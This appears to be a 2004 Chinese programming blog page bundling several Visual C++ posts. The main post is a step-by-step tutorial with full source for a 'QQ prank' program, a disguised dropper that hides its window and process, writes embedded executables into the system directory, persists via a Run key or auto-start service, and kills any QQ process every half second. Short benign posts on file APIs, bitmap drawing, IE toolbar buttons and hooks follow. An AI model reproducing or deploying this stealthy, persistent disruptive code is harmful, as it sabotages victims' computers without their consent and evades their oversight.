编程必备知识大杂烩

  亲手打造一个QQ恶作剧程
程序原理:获取系统中的所有进程,并保存在一个数组中,然后在数组中查找含有QQ,oicq,qq,OICQ字样的进程,如果找到就立即杀掉该进程.这样你一运行QQ,QQ进程就会被立即杀掉,也就是说如果该恶作剧程序一直运行你就不能上QQ了.呵呵,这招是不是有点毒啊?好了,现在一步一步的来讲程序的编写过程.

程序原理:获取系统中的所有进程,并保存在一个数组中,然后在数组中查找含有QQ,oicq,qq,OICQ字样的进程,如果找到就立即杀掉该进程.这样你一运行QQ,QQ进程就会被立即杀掉,也就是说如果该恶作剧程序一直运行你就不能上QQ了.呵呵,这招是不是有点毒啊?好了,现在一步一步的来讲程序的编写过程.

首先我们要解决的问题是如何实现恶作剧程序的自我隐藏,关于进程隐藏的文章很多,我就只简单的介绍一下了.在Win9X系统下可以通过调用RegisterServiceProcess API这个API函数将进程注册为一个服务模式的进程,这样在Win9X系统下用Ctrl+Alt+Del调出的任务管理器中将不会出现这个进程了.RegisterServiceProcess API函数存放于系统内核Kernel32.dll中.具体声明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId, //服务进程的进程标志,如果为NULL表示当前进程
DWORD dwType //如果参数为RSP_SIMPLE_SERVICE 表示注册当前进程
//如果参数为RSP_UNREGISTER_SERVICE 表示取消当前进程的注册
);
函数调用成功返回1,否则返回0
通过对RegisterServiceProcess 这个API函数的调用我们就能实现在Win9X系统下的进程隐藏了.但是要在WinNT系统下真正的实现进程隐藏就没有在Win9X系统下那么简单了.只要进程以进程内核的形式运行,进程就将出现在任务管理器中.要实现WinNT下进程的真正隐藏,只能以非进程的方式执行目标代码,也就是说把目标代码以线程的方式远程注册到宿主进程中.关于这种方法的实现已经有文章介绍,在这里就不多说了.在这里,我并没有采用这种隐藏进程的方法而是将进程注册为系统的一个名为Service的服务进程,虽然这样并没有真正的隐藏进程,但是在一般情况下还是不容易发现的.在Win2000下用任务管理器查看进程时是不能结束该进程的,必须通过控制面板中的服务管理控制台来停止服务,也可以在命令行下用net stop service来停止服务在XP下可以通过任务管理器结束该进程.这里简单介绍一下WinNT中的服务程序:
在WinNT中,一些后台服务程序是随着系统的启动而自动加载的.用户也可以通过控制面板中的服务管理控制台对服务的属性进行灵活的设置.甚至在用户没有登陆的情况下这些服务程序也能启动,象Ftp服务,WWW服务和一些数据库就是以服务的形式存在于NT服务器上从而实现了无人职守. 在NT操作系统中,所有的后台服务全都由服务控制管理器进行统一管理,这些后台服务的状态数据都保存在服务控制管理器数据库中.所以要想创建一个新的后台服务,在应用程序的主模块里应首先调用函数OpenSCManager打开该数据库,再调用函数CreateService在此数据库中创建1个新的服务线程对象,并将该线程对象启动属性设置为随系统启动自动加载,这样NT在重新启动时该线程就会由NT自动启动.完成这一步,仅仅实现了后台服务线程对象的注册,还没有建立与服务控制管理器的联结.要想启动服务可以通过函数StartService来完成,具体的过程我们将在编写Service.exe的时候介绍.
说了这么多,你也许都看得不耐烦了吧,OK,现在正式切入主题,开始动手打造我们的QQ恶作剧程序.程序由三部分组成,主程序funny.exe,kernel.exe,Service.exe.首先我们先把kernel.exe和Service.exe程序写好,这两个是完成主要功能的程序.然后将其转换成16进制代码放在在funny.exe定义的两个全局字符数组中,当funny.exe运行的时候根据操作系统的版本决定在系统目录下创建kernel.exe还是Service.exe.kernel.exe将被创建到Win9X的系统目录下,Service.exe将被创建到Win2000/XP的系统目录下.
现在我们开始来编写kernel.exe:
打开VC++6.0(啊?不要告诉我你电脑上没有装吧,那赶紧去装一个,不然你怎么写程序呢?呵呵)
运行AppWizard创建一个对话框应用程序.工程名为kernel.在CKernelDlg类中添加HideWindow(),HideProcess(),
Reg()三个函数.代码如下:
//隐藏对话框窗体
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW 
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style); 
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//将进程注册为服务模式的进程从而隐藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注册表,开机时自动运行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"//kernel.exe");
DWORD dwvalue;
CRegKey Key;
LPCTSTR lpszKeyname="Software//Microsoft//Windows//CurrentVersion//Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.Queryvalue(dwvalue,"Kernel")!=ERROR_SUCCESS)
Key.Setvalue(lpsysfilename,"Kernel");
Key.Close();
}
这里用到了CRegKey类,需要在KernelDlg.cpp中添加头文件atlbase.h关于CRegKey的详细用法可以参考MSDN帮助文档.然后利用类向导添加WM_TIMER消息,并在消息响应函数中加入以下代码:
void CKernelDlg::OnTimer(UINT nIDEvent) 
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚举系统中的所有进程并保存在数组类对象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
//在保存进程的数组中查找是否含有QQ,OICQ,qq,oicq字样的进程找到立即将其结束
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray.szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray.th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定义如下:CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;,在对话框初始化函数中加入以下代码:
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
HideProcess(); //Win9x下在任务管理器中隐藏进程
Reg(); //改写注册表,开机自动运行
SetTimer(1,500,NULL); //设定记时器,不断刷新进程数组,并寻找QQ程将其结束
return TRUE; 
}
这样kernel.exe程序就完成了,现在可以编译连接成可执行文件了.(后附工程文件).
编写Service.exe: 

创建一个名为Service的Win32 Console Application程序,选择对MFC的支持Service.cpp的代码如下:
/******************************************************************/
/*Module:Service.cpp */
/*Author:Inetufo */
/*Email:Inetufo@thugx.com */
/*Date:2003/3/7 */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include <atlbase.h> //CRegKey类需要的头文件
#include <Afxtempl.h> //CArray类需要的头文件
#include <tlhelp32.h> //ToolHelp函数需要的头文件

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray<PROCESSENTRY32,PROCESSENTRY32 &> m_PEArray;
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{

SERVICE_TABLE_ENTRY ste[2];
//线程入口表
ste[0].lpServiceName="Service"; //线程名字
ste[0].lpServiceProc=ServiceMain; //线程入口地址
//可以有多个线程,最后一个必须为NULL
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
InstallService();
}

return nRetCode;
}
//安装并启动服务
void InstallService()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"//Service.exe");
scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(scm!=NULL)
svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS│SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL); 
if(svc!=NULL)
svc=OpenService(scm,"Service",SERVICE_START);
if (svc!=NULL)
{
StartService(svc,0,NULL);
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
//服务的真正入口点函数
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{


ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwServiceSpecificExitCode = 0;
ss.dwWin32ExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ssh=RegisterServiceCtrlHandler("Service",Handler);
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
AfxBeginThread(KillQQ,NULL,NULL); //开始一个工作线程实现程序功能
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);


}
//处理服务要求
void WINAPI Handler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState =SERVICE_STOPPED; 
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus (ssh,&ss);
break;

case SERVICE_CONTROL_INTERROGATE:
break;
}

SetServiceStatus (ssh,&ss);
}
//在进程列表中查找QQ程序并杀掉的线程函数
UINT KillQQ(LPVOID lParam)
{
while(1)
{

m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
for(i=0;i<m_PEArray.GetSize();i++)
{
CString str;
str.Format("%s",m_PEArray.szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray.th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

Sleep(500);
}
return 0;
}
编译连接可以生成Service.exe程序.(后附整个工程)
现在我们已经得到了实现功能的两个程序,kernel.exe是在Win9X系统下实现功能的程序,Service.exe是Win2000/XP下实现功能的程序.现在就要将这两个文件转化成16进制代码.可以通过一个程序来实现,建立一个名为exe2hex的Win32 Console Application程序,程序代码如下:
#include <stdio.h>
#include <windows.h>
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("/nUsage: %s <File>",argv[0]);
__leave;
}

hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
{
printf("/nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("/nGet file size failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char *)malloc(dwSize);
if(!lpBuff)
{
printf("/nmalloc failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("/nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i<dwSize;i++)
{
if((i%16)==0)
if(i==0)
printf("/"");
else
printf("/"/n/"");
printf("//x%.2X",lpBuff);
}
printf("/"");
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
编译出可执行文件exe2hex.exe,执行exe2hex kernel.exe >kernel.txt将输出结果重定向到一个文本文件就得到了kernel.exe的16进制代码,同理可以得到Service.exe的16进制代码.
啊,写了这么多还真有点累了,不过还好总算要完成了,歇口气.最后我们来编写主程序funny.exe:
用AppWizard生成一个名为funny的对话框程序.定义两个全局字符数组用来保存kernel.exe和Service.exe
的16进制代码:char exebuff9x[]="kernel.exe的16进制代码" char exebuff2k[]="Service.exe的16进制代码".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k
(CString FileName),RunService(CString FileName)几个函数,其代码和实现的功能如下:
//隐藏主窗口
void CFunnyDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW 
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style); 
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//获取操作系统版本信息
BOOL CFunnyDlg::IsWin9X()
{
DWORD dwVersion;
dwVersion=::GetVersion();
if (dwVersion >= 0x80000000) //Win9x 
return TRUE;
else 
return FALSE; //Win2K/WinXP
}
//如果系统是Win9x则在系统目录下创建kernel.exe
void CFunnyDlg::CreateFileService9x(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
return 
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return 
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return 
}
//如果系统是Win2k/XP则在系统目录下创建Service.exe
void CFunnyDlg::CreateFileService2k(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
return 
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff2k[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return 
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return 
}
//运行创建的kernel.exe或者Service.exe
void CFunnyDlg::RunService(CString FileName)
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW;
BOOL bRet=::CreateProcess(lpsysfilename,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return 
}
在对话框的初始化函数里面调用上面定义的函数,其主要代码如下:
BOOL CFunnyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
CString FileName="//kernel.exe";
if(IsWin9X()) //判断操作系统类型
{
CreateFileService9x(FileName); //在系统目录下创建kernel.exe
RunService(FileName); //运行kernel.exe
}
else
{
FileName="//Service.exe";
CreateFileService2k(FileName); //在系统目录下创建Service.exe文件
RunService(FileName); //运行Service.exe
}
AfxBeginThread(ThreadMessage,NULL,NULL); //执行线程函数ThreadMessage
return TRUE; 
}
好了,funny程序也完成了,现在可以编译连接成可执行程序了,整个程序就算写完了,你可以测试一下了以上代码在Win98,Win2000,WinXp,VC++6.0环境下调试通过.(附整个工程文件).写了这么多快要累死了.如果有什么问题请来信Inetufo@thugx.com,欢迎指教J


解决方法:
WIN98:
系统目录下将生成kernel.exe文件,可以先将注册表项HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/
Windows/CurrentVersions/Run下面的kernel子键删除.重起系统再删除系统目录下的kernel.exe文件
Win2K/XP:
运行服务控制管理器,停止掉Service服务,然后将系统目录下的Service.exe文件删除,要把服务从服务管理器中清除可以将HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services下面的Service键删除即可.

- 作者: hzl96 2004年11月23日, 星期二 14:48  回复(4) |  引用(0) 加入博采

文件操作 API 函数介绍
在VC中,大多数情况对文件的操作都使用系统提供的 API 函数,但有的函数我们不是很熟悉,以下提供一些文件操作 API 函数介绍:


    在VC中,大多数情况对文件的操作都使用系统提供的 API 函数,但有的函数我们不是很熟悉,以下提供一些文件操作 API 函数介绍:

 一般文件操作 API

CreateFile
打开文件
要对文件进行读写等操作,首先必须获得文件句柄,通过该函数可以获得文件句柄,该函数是通向文件世界的大门。

ReadFile
从文件中读取字节信息。
在打开文件获得了文件句柄之后,则可以通过该函数读取数据。

WriteFile
向文件写入字节信息。
同样可以将文件句柄传给该函数,从而实现对文件数据的写入。

CloseHandle
关闭文件句柄。
打开门之后,自然要记得关上。

GetFileTime
获取文件时间。
有三个文件时间可供获取:创建时间、最后访问时间、最后写时间。
该函数同样需要文件句柄作为入口参数。

GetFileSize
获取文件大小。
由于文件大小可以高达上数G(1G需要30位),因此一个32位的双字节类型无法对其精确表达,因此返回码表示低32位,还有一个出口参数可以传出高32位。
该函数同样需要文件句柄作为入口参数。

GetFileAttributes
获取文件属性。
可以获取文件的存档、只读、系统、隐藏等属性。
该函数只需一个文件路径作为参数。

SetFileAttributes
设置文件属性。
能获取,自然也应该能设置。
可以设置文件的存档、只读、系统、隐藏等属性。
该函数只需一个文件路径作为参数。

GetFileInformationByHandle
获取所有文件信息
该函数能够获取上面所有函数所能够获取的信息,如大小、属性等,同时还包括一些其他地方无法获取的信息,比如:文件卷标、索引和链接信息。
该函数需要文件句柄作为入口参数。

GetFullPathName
获取文件路径,该函数获取文件的完整路径名。
需要提醒的是:只有当该文件在当前目录下,结果才正确。如果要得到真正的路径。应该用GetModuleFileName函数。

CopyFile
复制文件
注意:只能复制文件,而不能复制目录

MoveFileEx
移动文件
既可以移动文件,也可以移动目录,但不能跨越盘符。(Window2000下设置移动标志可以实现跨越盘符操作)

DeleteFile
删除文件

GetTempPath
获取Windows临时目录路径

GetTempFileName
在Windows临时目录路径下创建一个唯一的临时文件

SetFilePoint
移动文件指针。
该函数用于对文件进行高级读写操作时。


 文件的锁定和解锁

LockFile
UnlockFile
LockFileEx
UnlockFileEx

以上四个函数用于对文件进行锁定和解锁。这样可以实现文件的异步操作。可同时对文件的不同部分进行各自的操作。

 文件的压缩和解压缩

LZOpenFile
打开压缩文件以读取

LZSeek
查找压缩文件中的一个位置

LZRead
读一个压缩文件

LZClose
关闭一个压缩文件

LZCopy
复制压缩文件并在处理过程中展开

GetExpandedName
从压缩文件中返回文件名称。

以上六个函数为32位 API 中的一个小扩展库,文件压缩扩展库中的函数。文件压缩可以用命令 compress 创建。


 文件内核对象

    32位 API 提供一个称为文件映像的特性,它允许将文件直接映射为一个应用的虚拟内存空间,这一技术可用于简化和加速文件访问。

CreateFileMapping
创建和命名映射

MapViewOfFile
把文件映射装载如内存

UnmapViewOfFile
释放视图并把变化写回文件

FlushViewOfFile
将视图的变化刷新写入磁盘

希望通过以上几个常用的 API 函数,能快速的提高文件操作过程函数的编写。

- 作者: hzl96 2004年11月23日, 星期二 14:46  回复(0) |  引用(0) 加入博采

如何在对话框中从磁盘读出一个bitmap文件画在上面?
如何在对话框中从磁盘读出一个bitmap文件画在上面?

如何在对话框中从磁盘读出一个bitmap文件画在上面?

BOOL CAboutDlg::OnInitDialog()
{
   CDialog::OnInitDialog();
   HBITMAP m_hBmp = (HBITMAP)::LoadImage(0,
      "D:bitmap.bmp",
      IMAGE_BITMAP,
      0,
      0,
      LR_LOADFROMFILE | LR_CREATEDIBSECTION | LR_DEFAULTSIZE);
   _ASSERT(m_hBmp!=NULL);
   m_pBmp = CBitmap::FromHandle(m_hBmp);
   return TRUE;
}

void CAboutDlg::OnPaint()
{
   CPaintDC dc(this);
   BITMAP bm;
   CDC dcMem;
   VERIFY(m_pBmp->GetObject(sizeof(bm),(LPVOID)&bm));
   dcMem.CreateCompatibleDC(&dc);
   CBitmap *pOldBMP=(CBitmap *)dcMem.SelectObject(m_pBmp);
   BitBlt(dc.m_hDC,0, 0, bm.bmWidth, bm.bmHeight, dcMem.m_hDC, 0, 0, SRCCOPY);
   dcMem.SelectObject(pOldBMP);
   // Do not call CDialog::OnPaint() for painting messages
}

- 作者: hzl96 2004年11月17日, 星期三 13:07  回复(0) |  引用(0) 加入博采

如何往IE工具条添加按钮

金山词霸、网络蚂蚁等软件安装后会向IE的工具条添加自己的按钮。按下按钮后还会作出相应的动作,这种功能是如何实现的呢?读完本文,您也可以将自己应用程序的按钮添加到IE的工具条中。

基本原理:
从IE5开始便允许我们向工具栏添加自己的按钮,其本质就是修改注册表,添加创建此按钮所需的信息。


问题提出:
金山词霸、网络蚂蚁等软件安装后会向IE的工具条添加自己的按钮。按下按钮后还会作出相应的动作,这种功能是如何实现的呢?读完本文,您也可以将自己应用程序的按钮添加到IE的工具条中。

基本原理:
从IE5开始便允许我们向工具栏添加自己的按钮,其本质就是修改注册表,添加创建此按钮所需的信息。

实现步骤:
1.创建此按钮的GUID(globally unique identifier)
你可以通过Visual Studio中的Guidgen.exe来产生GUID。
例如我生成的GUID是{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
以下的例子中我都使用这个GUID来作说明。

2.创建子键HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer/Extensions/{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}

3.在此子键下创建如下字串值。
(1)CLSID
这是IE的CLSID,其值必须为{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
(2)Default Visible
指明此按钮默认状态下是否可见,Yes表示可见,No为不可见
(3)ButtonText
按钮文字
(4)Icon
默认状态下的图标全路径,例如c:/vckbase.ico。也可以是EXE文件中包含的图标,例如:C:/PROGRA~1/NETANTS/NetAnts.exe,1000
(5)HotIcon
鼠标移到按钮上时的图标全路径

如下子键为按下按钮后需要执行的相应动作:可以是COM对象、浏览条Explorer Bar、脚本Script、可执行文件。
下面我们逐个进行介绍。
①COM对象
你需要建立名为ClsidExtension的字串值,其值应该为此COM对象的GUID
例如金山词霸就使用ClsidExtension来调用自己的COM对象。

②浏览条Explorer Bar
所谓浏览条就是类似我们按下往IE历史按钮后打开的历史记录列表,其本质好比MFC中的CReBar对象。 浏览条也可以自己制作,
因为超出了本文的范围,暂不作讲解。
为了在按下按钮后打开一个浏览条,你需要建立名为BandCLSID的字串值,其值为浏览条的CLSID

③脚本Script
按下按钮后执行的脚本,例如:"%SystemRoot%/web/related.htm"
你可以在这个HTML文件里面加上脚本来得到IE当前的许多信息,需要注意的是假如你想通过Script打开非脚本的HTML文件是不可行的。
请参考如下NetAnts取得当前页所有链接的脚本代码


<script language="VBScript">
--On Error Resume Next
--set NetAntsApi = CreateObject( "NetAnts.API" )
--if err<>0 then
-- --Alert("NetAnts not properly installed on this PC!")
--else
-- --set links = external.menuArguments.document.links
-- --ReDim params(links.length*2)
-- --params(0)=external.menuArguments.document.Url
-- --for i = 0 to links.length-1
-- -- --params(i*2+1)=links(i).href
-- -- --params(i*2+2)=links(i).innerText
-- --next
-- --NetAntsApi.AddUrlList params
--end if
</script>

我们再看一个比较有用的脚本,这段脚本的作用是得到当前地址,并打开此网址的首页。


<script>
--//userURL得到的是当前地址,例如是http://www.vckbase.com/article/controls/index.html
--userURL=external.menuArguments.location.href;
--protocolIndex=userURL.indexOf("://",4);
--serverIndex=userURL.indexOf("/",protocolIndex + 3);
--finalURL=userURL.substring(0,serverIndex);
--external.menuArguments.open(finalURL, "_blank");///打开网址http://www.vckbase.com/
</script> 

关于external等对象的具体使用方法请参阅微软的《动态HTML开发参考大全》--人民邮电出版社出版

④可执行文件
假如我们想让IE在按下按钮后执行一个可执行文件, 你可以增加名为Exec的字串值,其值为此可执行文件的全路径,
例如c:/windows/notepad.exe或者是一个网址http://www.vckbase.com/index.html

下面我们介绍一个简单的例子。


void CIEButtonDlg::OnAdd()
{
--///这是由GUIDGEN产生的GUID:{06926B30-424E-4f1c-8EE3-543CD96573DC}
--CRegKey reg;
--char KeyName[]="Software//Microsoft//Internet Explorer//Extensions//{06926B30-424E-4f1c-8EE3-543CD96573DC}";
--TCHAR PathName[MAX_PATH];
--TCHAR IconPathName[MAX_PATH]; ///正常时的图标全路径
--TCHAR HotIconPathName[MAX_PATH]; ///鼠标覆盖时的图标全路径
--GetModuleFileName(0,PathName,MAX_PATH); ///得到本可执行文件的路径
--strcpy(IconPathName,PathName);
--strcpy(HotIconPathName,PathName);
--strcat(HotIconPathName,",131"); ///131是图标的ID,你可以以资源方式打开EXE文件就可以看到所有资源及其ID
--strcat(IconPathName,",129");
--reg.Create(HKEY_LOCAL_MACHINE,KeyName);
--reg.SetValue("{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}","CLSID");
--reg.SetValue("Yes","Default Visible");
--reg.SetValue("VC知识库","ButtonText");
--reg.SetValue(IconPathName,"Icon");
--reg.SetValue(HotIconPathName,"HotIcon");
--/假如是执行脚本,可以是reg.SetValue("c://test.html","Script"); ///在test.html 存放你的脚本代码
--reg.SetValue("http://www.vckbase.com/","Exec");///打开网页
}

- 作者: hzl96 2004年11月17日, 星期三 13:06  回复(0) |  引用(0) 加入博采

基于Visual C++的钩子编程技巧
钩子( Hook)是 Windows消息处理机制的一个要点( Point)。应用程序可以通过钩子机制截获处理 Window消息或是其他一些特定事件。同 DOS中断截获处理机制类似,应用程序可以在钩子上设置多个钩子函数,由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)。当钩子所监视的消息出现时, Windows首先将其送到调用链表中所指向的第一个钩子函数中,钩子函数将根据其各自的功能对消息进行监视、修改和控制,并在处理完成后把消息传递给下一钩子函数直至到达钩子链表的末尾。在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数。虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。
钩子(Hook)是Windows消息处理机制的一个要点(Point)。应用程序可以通过钩子机制截获处理Window消息或是其他一些特定事件。同DOS中断截获处理机制类似,应用程序可以在钩子上设置多个钩子函数,由其组成一个与钩子相关联的指向钩子函数的指针列表(钩子链表)。当钩子所监视的消息出现时,Windows首先将其送到调用链表中所指向的第一个钩子函数中,钩子函数将根据其各自的功能对消息进行监视、修改和控制,并在处理完成后把消息传递给下一钩子函数直至到达钩子链表的末尾。在钩子函数交出控制权后,被拦截的消息最终仍将交还给窗口处理函数。虽然钩子函数对消息的过滤将会略加影响系统的运行效率,但在很多场合下通过钩子对消息的过滤处理可以完成一些其他方法所不能完成的特殊功能。
   可以看出,钩子的本质是一段用以处理系统消息或特定事件的函数,通过系统调用将其挂入到系统。钩子的种类有很多,每一种钩子负责截获并处理相应的消息。钩子机制允许应用程序截获并处理发往指定窗口的消息或特定事件,其监视的窗口即可以是本进程内的也可以是由其他进程所创建的。在特定的消息发出后、达目的窗口前,钩子程序拥有对其控制权,此时的钩子函数除了可以对截获的消息进行各种处理外,甚至还可以强行终止消息的继续传递。
